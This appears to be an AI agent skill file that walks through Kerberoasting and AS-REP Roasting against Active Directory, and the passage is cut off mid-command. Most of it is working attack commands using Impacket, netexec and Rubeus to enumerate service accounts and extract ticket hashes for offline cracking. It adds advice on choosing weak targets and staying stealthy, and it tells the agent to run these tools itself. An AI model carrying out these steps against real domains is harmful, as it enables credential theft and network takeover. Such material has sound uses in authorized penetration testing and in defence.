/kerberos-roasting

name: kerberos-roasting
description: >
  Extracts and cracks Kerberos service tickets (Kerberoasting) and AS-REP
  hashes (AS-REP Roasting) for offline password recovery.
keywords:
  - kerberoast
  - kerberoasting
  - asreproast
  - AS-REP
  - GetUserSPNs
  - service ticket
  - SPN cracking
  - roasting
  - GetNPUsers
  - pre-authentication disabled
  - targeting AD service accounts with SPNs or accounts with pre-auth disabled
tools:
  - Impacket (GetUserSPNs.py
  - GetNPUsers.py)
  - Rubeus
  - netexec
  - targetedKerberoast.py
opsec: medium

Kerberos Roasting

You are helping a penetration tester perform Kerberoasting (extracting TGS tickets for offline cracking) and AS-REP Roasting (extracting AS-REP hashes from accounts without pre-authentication). All testing is under explicit written authorization.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[kerberos-roasting] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Any valid domain user credential (for standard Kerberoasting/AS-REP roasting)
• OR: a username with DONT_REQ_PREAUTH (for Kerberoasting without a domain account)
• OR: just a username list (for AS-REP roasting without authentication)
• Tools: Impacket, optionally `netexec`, `Rubeus`, `bloodyAD`

**Kerberos-first authentication:**

# Get a TGT first
cd $TMPDIR && getTGT.py DOMAIN/user:'Password123' -dc-ip DC_IP
# or with NTLM hash
cd $TMPDIR && getTGT.py DOMAIN/user -hashes :NTHASH -dc-ip DC_IP

export KRB5CCNAME=$TMPDIR/user.ccache

# All Impacket roasting tools support -k -no-pass
GetUserSPNs.py DOMAIN/user@DC.DOMAIN.LOCAL -k -no-pass -dc-ip DC_IP -request
GetNPUsers.py DOMAIN/user@DC.DOMAIN.LOCAL -k -no-pass -dc-ip DC_IP

**Tool output directory**: `getTGT.py` writes `<user>.ccache` to CWD with no `-out` flag. Always prefix with `cd $TMPDIR &&`. TGS/AS-REP hash output files (via `-outputfile`) support explicit paths.

Privileged Commands

Claude Code cannot execute `sudo` commands. The following require root and must be handed off to the user:

• **timeroast.py** — NTP authentication hash extraction (needs raw sockets for UDP 123)
• **ntpdate / rdate** — clock synchronization (needed for Kerberos, requires root)

**Handoff protocol:** Present the full command including `sudo`, ask the user to run it, then read the output file (`tee` captures timeroast output) or confirm completion (ntpdate).

**Non-privileged commands** Claude can execute directly:

• All roasting tools: `GetUserSPNs.py`, `GetNPUsers.py`, `netexec`, `Rubeus`
• Targeted kerberoasting: `targetedKerberoast.py`, `bloodyAD`
• Cracking: delegate to **credential-recovery** skill

Step 1: Assess

Determine what access level is available:

1. **Valid domain credentials** (password, hash, or TGT) -> proceed to Step 2 2. **Username with DONT_REQ_PREAUTH known** -> skip to Step 5 (AS-REP) or Step 6 (Kerberoasting without domain account) 3. **Username list only, no credentials** -> skip to Step 5 (AS-REP) 4. **Write access to user objects (GenericAll/GenericWrite)** -> Step 7 (Targeted)

Step 2: Enumerate Kerberoastable Accounts

Impacket (Linux)

# List all user accounts with SPNs (no ticket request yet)
GetUserSPNs.py DOMAIN/user:'Password123' -dc-ip DC_IP

# With Kerberos auth
GetUserSPNs.py DOMAIN/user@DC.DOMAIN.LOCAL -k -no-pass -dc-ip DC_IP

NetExec

# Enumerate via LDAP and extract in one step
nxc ldap DC01.DOMAIN.LOCAL -u 'user' -p 'Password123' \
  --kerberoasting kerberoast.txt

# With Kerberos auth
nxc ldap DC01.DOMAIN.LOCAL --use-kcache --kerberoasting kerberoast.txt

Rubeus (Windows)

# Statistics overview — encryption types, password age, admin status
.\Rubeus.exe kerberoast /stats

# List without requesting (enumeration only)
.\Rubeus.exe kerberoast /stats /nowrap

Prioritize Targets

Before mass-roasting, prioritize by:

• **AdminCount=1** — service accounts in privileged groups
• **pwdLastSet age** — older passwords are weaker (years-old = likely crackable)
• **Encryption type** — RC4 (etype 23) cracks 1000x faster than AES (etype 17/18)
• **Blast radius** — BloodHound shortest path from SPN account to DA

Step 3: Extract TGS Hashes (Kerberoasting)

Impacket (Linux) — Preferred

# Request all SPN tickets
GetUserSPNs.py DOMAIN/user:'Password123' -dc-ip DC_IP \
  -request -outputfile hashes.kerberoast

# Target single user (reduces noise)
GetUserSPNs.py DOMAIN/user:'Password123' -dc-ip DC_IP \
  -request-user svc_mssql -outputfile hashes.kerberoast

# With NTLM hash
GetUserSPNs.py DOMAIN/user -dc-ip DC_IP \
  -hashes :NTHASH -request -outputfile hashes.kerberoast

# With Kerberos auth (most OPSEC-safe)
GetUserSPNs.py DOMAIN/user@DC.DOMAIN.LOCAL -k -no-pass \
  -request -outputfile hashes.kerberoast

Rubeus (Windows)

# All SPNs (noisy — avoid in mature environments)
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast

# Target single account
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast

# Admins only (smaller footprint)
.\Rubeus.exe kerberoast /ldapfil